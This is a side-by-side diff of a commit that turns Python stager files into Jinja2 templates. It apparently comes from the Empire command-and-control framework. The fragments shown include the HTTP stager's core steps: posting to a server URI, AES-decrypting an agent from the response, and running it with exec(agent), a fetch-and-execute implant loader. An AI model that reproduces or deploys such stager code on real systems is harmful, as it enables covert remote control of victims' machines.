10 | 10 |
---
|
11 | 11 |
data/agent/stagers/dropbox.jinja2 | 133 +++++++++++++++++++++++++++++++++++++
|
12 | 12 |
data/agent/stagers/dropbox.py | 135 --------------------------------------
|
13 | |
data/agent/stagers/http.jinja2 | 98 +++++++++++++++++++++++++++
|
14 | |
data/agent/stagers/http.py | 100 ----------------------------
|
|
13 |
data/agent/stagers/http.jinja2 | 101 ++++++++++++++++++++++++++++
|
|
14 |
data/agent/stagers/http.py | 103 -----------------------------
|
15 | 15 |
lib/listeners/dbx.py | 2 +-
|
16 | 16 |
lib/listeners/http.py | 4 +-
|
17 | 17 |
lib/listeners/redirector.py | 2 +-
|
18 | 18 |
lib/stagers/multi/pyinstaller.py | 4 +-
|
19 | |
8 files changed, 237 insertions(+), 241 deletions(-)
|
|
19 |
8 files changed, 240 insertions(+), 244 deletions(-)
|
20 | 20 |
create mode 100644 data/agent/stagers/dropbox.jinja2
|
21 | 21 |
delete mode 100644 data/agent/stagers/dropbox.py
|
22 | 22 |
create mode 100644 data/agent/stagers/http.jinja2
|
|
304 | 304 |
-exec(agent)
|
305 | 305 |
diff --git a/data/agent/stagers/http.jinja2 b/data/agent/stagers/http.jinja2
|
306 | 306 |
new file mode 100644
|
307 | |
index 0000000..1ff25ac
|
|
307 |
index 0000000..29575f3
|
308 | 308 |
--- /dev/null
|
309 | 309 |
+++ b/data/agent/stagers/http.jinja2
|
310 | |
@@ -0,0 +1,98 @@
|
|
310 |
@@ -0,0 +1,101 @@
|
311 | 311 |
+"""
|
312 | 312 |
+This file is a Jinja2 template.
|
313 | 313 |
+ Variables:
|
|
318 | 318 |
+ stage_1
|
319 | 319 |
+ stage_2
|
320 | 320 |
+"""
|
321 | |
+
|
|
321 |
+from __future__ import print_function
|
|
322 |
+
|
|
323 |
+import copy
|
322 | 324 |
+import random
|
323 | 325 |
+import string
|
324 | |
+import urllib2
|
|
326 |
+import urllib.request as urllib
|
325 | 327 |
+
|
326 | 328 |
+{% include 'common/rc4.py' %}
|
327 | 329 |
+{% include 'common/aes.py' %}
|
|
330 | 332 |
+
|
331 | 333 |
+def post_message(uri, data):
|
332 | 334 |
+ global headers
|
333 | |
+ return (urllib2.urlopen(urllib2.Request(uri, data, headers))).read()
|
|
335 |
+ return (urllib.urlopen(urllib.Request(uri, data, headers))).read()
|
334 | 336 |
+
|
335 | 337 |
+# generate a randomized sessionID
|
336 | |
+sessionID = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in xrange(8))
|
|
338 |
+sessionID = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
|
337 | 339 |
+
|
338 | 340 |
+# server configuration information
|
339 | 341 |
+stagingKey = '{{ staging_key }}'
|
|
405 | 407 |
+agent = aes_decrypt_and_verify(key, response)
|
406 | 408 |
+agent = agent.replace('REPLACE_WORKINGHOURS', WorkingHours)
|
407 | 409 |
+agent = agent.replace('REPLACE_KILLDATE', KillDate)
|
|
410 |
+
|
408 | 411 |
+exec(agent)
|
409 | 412 |
diff --git a/data/agent/stagers/http.py b/data/agent/stagers/http.py
|
410 | 413 |
deleted file mode 100644
|
411 | |
index 4a9579a..0000000
|
|
414 |
index e13e781..0000000
|
412 | 415 |
--- a/data/agent/stagers/http.py
|
413 | 416 |
+++ /dev/null
|
414 | |
@@ -1,100 +0,0 @@
|
415 | |
-#!/usr/bin/env python
|
|
417 |
@@ -1,103 +0,0 @@
|
|
418 |
-#!/usr/bin/env python3
|
416 | 419 |
-
|
417 | 420 |
-"""
|
418 | 421 |
-This file is a Jinja2 template.
|
|
424 | 427 |
- stage_1
|
425 | 428 |
- stage_2
|
426 | 429 |
-"""
|
427 | |
-
|
|
430 |
-from __future__ import print_function
|
|
431 |
-
|
|
432 |
-import copy
|
428 | 433 |
-import random
|
429 | 434 |
-import string
|
430 | |
-import urllib2
|
|
435 |
-import urllib.request as urllib
|
431 | 436 |
-
|
432 | 437 |
-{% include 'common/rc4.py' %}
|
433 | 438 |
-{% include 'common/aes.py' %}
|
|
436 | 441 |
-
|
437 | 442 |
-def post_message(uri, data):
|
438 | 443 |
- global headers
|
439 | |
- return (urllib2.urlopen(urllib2.Request(uri, data, headers))).read()
|
|
444 |
- return (urllib.urlopen(urllib.Request(uri, data, headers))).read()
|
440 | 445 |
-
|
441 | 446 |
-# generate a randomized sessionID
|
442 | |
-sessionID = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in xrange(8))
|
|
447 |
-sessionID = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
|
443 | 448 |
-
|
444 | 449 |
-# server configuration information
|
445 | 450 |
-stagingKey = '{{ staging_key }}'
|
|
511 | 516 |
-agent = aes_decrypt_and_verify(key, response)
|
512 | 517 |
-agent = agent.replace('REPLACE_WORKINGHOURS', WorkingHours)
|
513 | 518 |
-agent = agent.replace('REPLACE_KILLDATE', KillDate)
|
|
519 |
-
|
514 | 520 |
-exec(agent)
|
515 | 521 |
diff --git a/lib/listeners/dbx.py b/lib/listeners/dbx.py
|
516 | 522 |
index d737426..3b8ce2d 100755
|
|
526 | 532 |
template_options = {
|
527 | 533 |
'staging_folder': stagingFolder,
|
528 | 534 |
diff --git a/lib/listeners/http.py b/lib/listeners/http.py
|
529 | |
index a4c9636..be68a14 100644
|
|
535 |
index 81c4ee7..20db20a 100644
|
530 | 536 |
--- a/lib/listeners/http.py
|
531 | 537 |
+++ b/lib/listeners/http.py
|
532 | |
@@ -617,8 +617,8 @@ class Listener(object):
|
|
538 |
@@ -626,8 +626,8 @@ class Listener(object):
|
533 | 539 |
os.path.join(self.mainMenu.installPath, '/data/agent/stagers'),
|
534 | 540 |
os.path.join(self.mainMenu.installPath, './data/agent/stagers')]
|
535 | 541 |
eng = templating.TemplateEngine(template_path)
|